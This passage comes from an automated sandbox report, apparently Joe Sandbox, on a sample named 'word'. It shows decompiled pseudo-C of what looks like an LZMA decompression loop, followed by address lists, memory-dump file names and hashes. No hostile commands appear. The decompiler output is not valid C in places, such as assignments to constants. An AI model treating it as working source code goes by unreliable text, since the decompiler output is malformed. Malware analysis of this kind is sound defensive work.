							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004070ab
0x004070ab
0x004070af
0x00407166
0x00407169
0x00407175
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00407441
0x00407441
0x00407447
0x00407447
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00000000
0x0040743e
0x004070b5
0x004070b9
0x004075fa
0x004075fa
0x004075fd
0x00407601
0x00407601
0x004070bf
0x004070c5
0x004070c8
0x004070cc
0x004070cf
0x004070d3
0x00407599
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x00000000
0x004075f6
0x004070d9
0x004070dc
0x004070e2
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x0040710d
0x0040710d
0x0040710d
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x00000000
0x004073c8
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00000000
0x0040753b
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00000000
0x00407390
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction ID: 0a676f48c9952aad729ccf503b6a86ce95496029d8c73069f89f3073be052f6e
Opcode Fuzzy Hash: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
Instruction Fuzzy Hash: C3813471D08228DFDF24CFA8C8847ADBBB1FB44305F24816AD456BB281D778A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00406FFE Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406FFE() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
